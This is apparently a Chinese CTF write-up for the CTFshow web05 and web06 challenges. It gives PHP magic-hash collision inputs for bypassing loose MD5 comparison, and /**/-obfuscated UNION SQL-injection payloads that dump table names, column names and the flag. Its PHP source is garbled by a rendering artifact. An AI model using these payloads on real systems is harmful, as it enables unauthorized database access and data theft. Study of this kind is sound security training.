CTFshow-web(5-6)
- 一、web05
- 二、web06
@TOC
一、web05

源码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php error_reporting(0); ?> <html lang="zh-CN">
<head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" /> <title>ctf.show_web5</title> </head> <body> <center> <h2>ctf.show_web5</h2> <hr> <h3> </center> <?php $flag=""; MATHJAX-SSR-0_GET['v1']; MATHJAX-SSR-1_GET['v2']; if(isset(MATHJAX-SSR-2v2)){ if(!ctype_alpha($v1)){ die("v1 error"); } if(!is_numeric($v2)){ die("v2 error"); } if(md5(MATHJAX-SSR-3v2)){ echo $flag; } }else{ echo "where is flag?"; } ?>
</body> </html>
|
1 2
| if(md5(MATHJAX-SSR-4v2)){ echo $flag;
|
对代码进行解读,可以看到v2为数字形式,并且二者的值必须相等
在这里涉及到了一个知识:==MD5 compare漏洞==看一下这是什么
- PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
参考常见的payload有
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 0x01 md5(str) QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a sha1(str) sha1('aaroZmOk') sha1('aaK1STfY') sha1('aaO8zKZF') sha1('aa3OFF9m')
0x02 md5(md5(str)."SALT") 2
|
构造本题的payload: ?v1=QNKCDZO&v2=240610708

知识点参考PHP 函数漏洞总结
二、web06

是不是很相似呢,是的!本题与第二关是相同的类型,考察的都是POST注入 只不过在本关存在过滤
经过测试发现该关是将空格符号过滤掉了🤬🤬在本关可以使用/**/对空格进行代替
其他均与第二关相似
payload:
1 2 3 4 5
| 1、1'/**/or/**/1=1/**/union/**/select/**/1,2,3# 2、1'or1=1unionselect1,database(),3 3、1'/**/or/**/1=1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'# 4、1'or1=1unionselect1,group_concat(column_name),3frominformation_schema.columnswheretable_name='flag' 5、1'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#
|
回显

表名

列名

字段

字段内容
